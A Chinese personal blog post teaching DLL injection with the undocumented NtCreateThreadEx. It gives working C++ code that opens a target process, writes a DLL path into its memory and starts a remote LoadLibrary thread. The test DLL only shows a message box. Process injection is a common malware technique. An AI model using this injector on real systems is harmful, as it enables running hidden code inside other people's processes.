当前位置 博文首页 > KOOKNUT的博客:使用NtCreateThreadEx将Dll注入目标进程
第一遍学习这个注入方法时候,只知道NtCreateThreadEx是未公开的nt函数,当时要定义一个函数指针出来,好像在看雪上找到的这个函数的声明,,太久远了,记不清了。
在Windows2000的源码和Reactos中都无法找到NtCreateThreadEx的函数声明和实现,所以试了下用IDA看看ntdll的导出表,哇,好开心找到了,但是,,好像什么都没有,只有一个系统调用号,没有任何参数的信息。
我最后在https://securityxploded.com/ntcreatethreadex.php找到了有关这个函数的声明,它是未文档化的。。难顶
废话不多说,对于注入来说,NtCreateThreadEx也是经常用的一种方法,只是这个函数没有被微软文档化,这点比较d疼。接下来说说实现思路,基本和CreateRemoteThread差不多:
以下是代码框架:
//.h
#pragma once
#include<Windows.h>
#include<iostream>
#include<tchar.h>
using namespace std;
//https://securityxploded.com/ntcreatethreadex.php
//Here is the prototype of NtCreateThreadEx function [undocumented]
typedef NTSTATUS(WINAPI* LPFN_NTCREATETHREADEX)(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN LPVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN LPTHREAD_START_ROUTINE ThreadProcedure,
IN LPVOID ParameterData,
IN BOOL CreateSuspended,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT LPVOID BytesBuffer);
typedef HMODULE(WINAPI * LPFN_LOADLIBRARYW)(LPCWSTR lpLibFileName);
typedef HMODULE(WINAPI * LPFN_LOADLIBRARYA)(LPCSTR lpLibFileName);
//.cpp
#include"NtCreateThreadEx.h"
#include"Helper.h"
#ifdef UNICODE
LPFN_LOADLIBRARYW __LoadLibrary = NULL;
#else
LPFN_LOADLIBRARYA __LoadLibrary = NULL;
#endif
LPFN_NTCREATETHREADEX __NtCreateThreadEx = NULL;
int _tmain(int argc, TCHAR* argv[], TCHAR *envp[])
{
//控制台识别中文
setlocale(LC_ALL, "Chinese-simplified");
TCHAR ProcessImageName[MAX_PATH] = { 0 };//保存进程名字
TCHAR CurrentFullPath[MAX_PATH] = { 0 }; //当前进程的完整路径
TCHAR TargetProcessFullPath[MAX_PATH] = { 0 };//目标进程的完整路径
ULONG_PTR TargetProcessPathLength = MAX_PATH;
ULONG ProcessId = 0;//目标进程Id
HANDLE ProcessHandle = INVALID_HANDLE_VALUE;//进程句柄
LPVOID VirtualAddress = NULL;
SIZE_T ReturnLength = 0;
BOOL IsOk = FALSE;
//注入的启动程序和目标程序的位数
BOOL SourceIsWow64 = FALSE;
BOOL TargetIsWow64 = FALSE;
_tprintf(_T("输入一个进程ImageName\r\n"));
TCHAR RcceiveChar = _gettchar();//接受字符串
int i = 0;//用来偏移ProcessName字符数组
while (RcceiveChar != '\n')
{
ProcessImageName[i++] = RcceiveChar;
RcceiveChar = _gettchar();
}
//ProcessImageName = 0x00000056f16ff2b0 "Taskmgr.exe"
GetCurrentDirectory(MAX_PATH, CurrentFullPath);//保存当前进程的完整路径
IsWow64Process(GetCurrentProcess(), &SourceIsWow64);//得到当前进程位数
ProcessId = KtGetProcessIdentify(ProcessImageName);//通过进程名得到进程Id
if (ProcessId == 0)
{
return 0;
}
IsOk = KtGetProcessFullPath(TargetProcessFullPath,
&TargetProcessPathLength, ProcessId, FALSE);
if (IsOk == FALSE)
{
return 0;
}
//判断目标进程位数
KtIsWow64Process(TargetProcessFullPath, &TargetIsWow64);
if (SourceIsWow64 == TRUE && TargetIsWow64 == TRUE)
{
_tcscat_s(CurrentFullPath, _T("\\Dll.dll"));
}
else if (SourceIsWow64 == FALSE && TargetIsWow64 == FALSE)
{
_tcscat_s(CurrentFullPath, _T("\\Dll.dll"));
}
//CurrentFullPath = 0x00000056f16ff3e0 "Z:\\Ring3层代码\\[2]Ring3注入\\NtCreateThreadEx\\NtCreateThreadEx\\Dll.dll"
HMODULE NtdllModuleBase = NULL;
HMODULE Kernel32ModuleBase = NULL;
NtdllModuleBase = GetModuleHandle(_T("NTDLL.DLL"));
Kernel32ModuleBase = GetModuleHandle(_T("KERNEL32.DLL"));
if (NtdllModuleBase == NULL || Kernel32ModuleBase == NULL) {
KtCloseHandle(ProcessHandle);
return 0;
}
//当前exe模块中没有该函数导入
__NtCreateThreadEx = (LPFN_NTCREATETHREADEX)GetProcAddress(NtdllModuleBase,
"NtCreateThreadEx");
//__NtCreateThreadEx = ntdll.dll!0x00007ffb6580c0e0 (加载符号以获取其他信息)
if (__NtCreateThreadEx == NULL)
{
KtCloseHandle(ProcessHandle);
return 0;
}
#ifdef UNICODE
__LoadLibrary = (LPFN_LOADLIBRARYW)GetProcAddress(Kernel32ModuleBase, "LoadLibraryW");
#else
__LoadLibrary = (LPFN_LOADLIBRARYA)GetProcAddress(Kernel32ModuleBase, "LoadLibraryA");
#endif
//__LoadLibrary = kernel32.dll!0x00007ffb63c7e710 (加载符号以获取其他信息)
if (__LoadLibrary == NULL) {
KtCloseHandle(ProcessHandle);
return 0;
}
ProcessHandle = KtOpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
ULONG BufferLength = 0;
//在目标进程空间中申请内存
BufferLength = (_tcslen(CurrentFullPath) + 1) * sizeof(TCHAR);
//目标进程空间中申请内存
VirtualAddress = VirtualAllocEx(ProcessHandle, NULL, BufferLength, MEM_COMMIT, PAGE_READWRITE);
//VirtualAddress = 0x0000021819010000
if (VirtualAddress == NULL)
{
KtCloseHandle(ProcessHandle);
return 0;
}
//目标进程空间中写入数据
if (KtProcessMemoryWriteSafe(ProcessHandle, VirtualAddress, CurrentFullPath, BufferLength, &ReturnLength) == FALSE)
{
KtCloseHandle(ProcessHandle);
return 0;
}
//再目标进程中启动一个线程
HANDLE ThreadHandle = INVALID_HANDLE_VALUE;
IsOk = __NtCreateThreadEx(&ThreadHandle,
THREAD_ALL_ACCESS, NULL, ProcessHandle, (LPTHREAD_START_ROUTINE)__LoadLibrary, VirtualAddress,
FALSE, NULL, NULL, NULL, NULL);
if (IsOk < 0)
{
VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
KtCloseHandle(ProcessHandle);
return 0;
}
else
{
WaitForSingleObject(ThreadHandle, INFINITE);
VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
KtCloseHandle(ProcessHandle);
}
return 0;
}
//.dllmain
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include <tchar.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBox(NULL, _T("NtCreateThreadEx"), _T("NtCreateThreadEx"), NULL);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Win7(32)注入Explorer和Win10注入Taskmgr.exe(64)两个都测试通过,32和64都没问题
今日份头秃:为什么我的Win7(32)调用系统函数IsWow64Process返回的当前程序位数是64位???我醉了。。。。
今日份古诗分享:
“蓬头稚子学垂纶,侧坐莓苔草映身。”
这小孩真挺可爱的,蓬头稚子,哈哈哈哈。。